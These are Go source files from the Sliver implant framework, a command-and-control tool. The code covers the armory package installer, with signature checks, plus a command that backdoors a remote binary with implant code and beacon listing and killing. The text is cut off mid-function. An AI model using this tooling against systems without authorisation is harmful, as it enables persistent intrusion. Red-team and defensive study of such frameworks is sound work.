func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("A package or bundle name is required")
return
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
}
if err == ErrPackageNotFound {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, clientConfig, con)
return
}
}
}
con.PrintErrorf("No package or bundle named '%s' was found", name)
}
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
for _, pkgName := range bundle.Packages {
err := installPackageByName(pkgName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
}
}
}
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name || name == "all" {
installAlias(alias, clientConfig, con)
if name != "all" {
return nil
}
}
}
for _, ext := range extensions {
if ext.CommandName == name || name == "all" {
installExtension(ext, clientConfig, con)
if name != "all" {
return nil
}
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
return
}
}
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
con.PrintInfof("Downloading alias ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
tmpFile.Close()
con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install alias")
}
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
if err != nil {
return err
}
return nil
}
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
deps := make(map[string]struct{})
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
for dep := range deps {
if extensions.CmdExists(dep, con.App) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
return
}
}
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
return
}
}
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return
}
if entry.Extension.DependsOn == "" {
return // Avoid adding empty dependency
}
if entry.Extension.DependsOn == name {
return // Avoid infinite loop of something that depends on itself
}
// We also need to look out for circular dependencies, so if we've already
// seen this dependency, we stop resolving
if _, ok := deps[entry.Extension.DependsOn]; ok {
return // Already resolved
}
if maxDepDepth < len(deps) {
return
}
deps[entry.Extension.DependsOn] = struct{}{}
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
}
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
con.PrintInfof("Downloading extension ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
err = tmpFile.Sync()
if err != nil {
return err
}
con.Printf(console.Clearln + "\r") // Clear download message
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install extension")
}
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
if err != nil {
return err
}
if extensions.CmdExists(extCmd.Name, con.App) {
con.App.Commands().Remove(extCmd.Name)
}
extensions.ExtensionRegisterCommand(extCmd, con)
return nil
}
+500
View File
@@ -0,0 +1,500 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/tls"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"net"
"net/http"
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
)
// ArmoryIndexParser - Generic interface to fetch armory indexes
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
// ArmoryPackageParser - Generic interface to fetch armory package manifests
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
var (
indexParsers = map[string]ArmoryIndexParser{
"api.github.com": GithubAPIArmoryIndexParser,
}
pkgParsers = map[string]ArmoryPackageParser{
"api.github.com": GithubAPIArmoryPackageParser,
"github.com": GithubArmoryPackageParser,
}
)
const (
armoryIndexFileName = "armory.json"
armoryIndexSigFileName = "armory.minisig"
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
}
//
// Default Parsers for Self-Hosted Armories
//
// DefaultArmoryParser - Parse the armory index directly from the url
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
client := httpClient(clientConfig)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
if !valid {
return nil, errors.New("index has invalid signature")
}
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
if err != nil {
return nil, err
}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
pkgResp := &armoryPkgResponse{}
err = json.Unmarshal(body, pkgResp)
if err != nil {
return nil, nil, err
}
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
if err != nil {
return nil, nil, err
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
return nil, nil, errors.New("invalid url scheme")
}
resp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
}
return sig, tarGz, nil
}
//
// GitHub API Parsers
//
type GithubAsset struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
Size int `json:"size"`
BrowserDownloadURL string `json:"browser_download_url"`
}
type GithubRelease struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
HTMLURL string `json:"html_url"`
TagName string `json:"tag_name"`
Body string `json:"body"`
Prerelease bool `json:"prerelease"`
TarballURL string `json:"tarball_url"`
ZipballURL string `json:"zipball_url"`
CreatedAt string `json:"created_at"`
PublishedAt string `json:"published_at"`
Assets []GithubAsset `json:"assets"`
}
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, errors.New("api returned non-200 status code")
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, err
}
if len(releases) < 1 {
return nil, errors.New("no releases found")
}
release := releases[0] // Latest only right now
var armoryIndexData []byte
var sigData []byte
for _, asset := range release.Assets {
if asset.Name == armoryIndexFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
armoryIndexData, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
}
if asset.Name == armoryIndexSigFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
sigData, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
}
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
if !valid {
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, nil, errors.New("api returned non-200 status code")
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, nil, err
}
release := releases[0] // Latest only right now
var sig *minisign.Signature
var tarGz []byte
for _, asset := range release.Assets {
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
var body []byte
body, err = ioutil.ReadAll(resp.Body)
if err != nil {
break
}
sig, err = parsePkgMinsig(body)
if err != nil {
break
}
}
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
break
}
}
}
return sig, tarGz, err
}
//
// GitHub Parsers
//
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
sigURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
sigResp, err := client.Get(sigURL.String())
if err != nil {
return nil, nil, err
}
defer sigResp.Body.Close()
if sigResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
}
var body []byte
body, err = ioutil.ReadAll(sigResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
}
sig, err := parsePkgMinsig(body)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
tarGzResp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer tarGzResp.Body.Close()
if tarGzResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
}
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
}
}
return sig, tarGz, nil
}
// We need to intercept the 302 redirect to determine the latest version tag
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
client := httpClient(clientConfig)
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
latestURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
latestRedirect, err := client.Get(latestURL.String())
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
if latestRedirect.Header.Get("Location") == "" {
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
}
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
if err != nil {
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
}
pathSegments := strings.Split(latestLocationURL.Path, "/")
for index, segment := range pathSegments {
if segment == "tag" && index+1 < len(pathSegments) {
return pathSegments[index+1], nil
}
}
return "", errors.New("tag not found in location header")
}
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
var sig minisign.Signature
err := sig.UnmarshalText(data)
if err != nil {
return nil, err
}
if len(sig.TrustedComment) < 1 {
return nil, errors.New("missing trusted comment")
}
return &sig, nil
}
func httpClient(config ArmoryHTTPConfig) *http.Client {
return &http.Client{
Timeout: config.Timeout,
Transport: &http.Transport{
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
IdleConnTimeout: time.Millisecond,
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
},
},
}
}
+65
View File
@@ -0,0 +1,65 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"regexp"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmorySearchCmd - Search for packages by name
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
rawNameExpr := ctx.Args.String("name")
if rawNameExpr == "" {
con.PrintErrorf("Please specify a search term!\n")
return
}
nameExpr, err := regexp.Compile(rawNameExpr)
if err != nil {
con.PrintErrorf("Invalid regular expression: %s\n", err)
return
}
aliases, exts := packagesInCache()
matchedAliases := []*alias.AliasManifest{}
for _, a := range aliases {
if nameExpr.MatchString(a.CommandName) {
matchedAliases = append(matchedAliases, a)
}
}
matchedExts := []*extensions.ExtensionManifest{}
for _, ext := range exts {
if nameExpr.MatchString(ext.CommandName) {
matchedExts = append(matchedExts, ext)
}
}
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
return
}
PrintArmoryPackages(matchedAliases, matchedExts, con)
}
+112
View File
@@ -0,0 +1,112 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmoryUpdateCmd - Update all installed extensions/aliases
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
// Aliases
aliasUpdates := checkForAliasUpdates(clientConfig, con)
if 0 < len(aliasUpdates) {
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
for _, aliasName := range aliasUpdates {
err := installAliasPackageByName(aliasName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
}
}
} else {
con.PrintInfof("All aliases up to date!\n")
}
// Extensions
extUpdates := checkForExtensionUpdates(clientConfig, con)
if 0 < len(extUpdates) {
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
for _, extName := range extUpdates {
err := installExtensionPackageByName(extName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
}
}
} else {
con.PrintInfof("All extensions up to date!\n")
}
}
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
cachedAliases, _ := packagesInCache()
results := []string{}
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
data, err := ioutil.ReadFile(aliasManifestPath)
if err != nil {
continue
}
localManifest, err := alias.ParseAliasManifest(data)
if err != nil {
continue
}
for _, latestAlias := range cachedAliases {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
_, cachedExtensions := packagesInCache()
results := []string{}
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
data, err := ioutil.ReadFile(extManifestPath)
if err != nil {
continue
}
localManifest, err := extensions.ParseExtensionManifest(data)
if err != nil {
continue
}
for _, latestExt := range cachedExtensions {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
+4
View File
@@ -0,0 +1,4 @@
Backdoor
========
Implements command related to `backdoor`
+66
View File
@@ -0,0 +1,66 @@
package backdoor
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
remoteFilePath := ctx.Args.String("remote-file")
if remoteFilePath == "" {
con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
return
}
profileName := ctx.Flags.String("profile")
ctrl := make(chan bool)
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
con.SpinUntil(msg, ctrl)
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if backdoor.Response != nil && backdoor.Response.Err != "" {
con.PrintErrorf("%s\n", backdoor.Response.Err)
return
}
con.PrintInfof("Uploaded backdoor'd binary to %s\n", remoteFilePath)
}
+4
View File
@@ -0,0 +1,4 @@
Beacons
========
This package implements the beacons command, which can be used to list and interact with beacons.
+200
View File
@@ -0,0 +1,200 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// BeaconsCmd - Display/interact with beacons
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
killFlag := ctx.Flags.String("kill")
killAll := ctx.Flags.Bool("kill-all")
// Handle kill
if killFlag != "" {
beacon, err := GetBeacon(con, killFlag)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
if killAll {
beacons, err := GetBeacons(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, filter, filterRegex, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
}
for _, beacon := range beacons {
color := console.Normal
activeBeacon := con.ActiveTarget.GetBeacon()
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
color = console.Green
}
// We need a slice of strings so we can apply filters
var rowEntries []string
if wideTermWidth {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
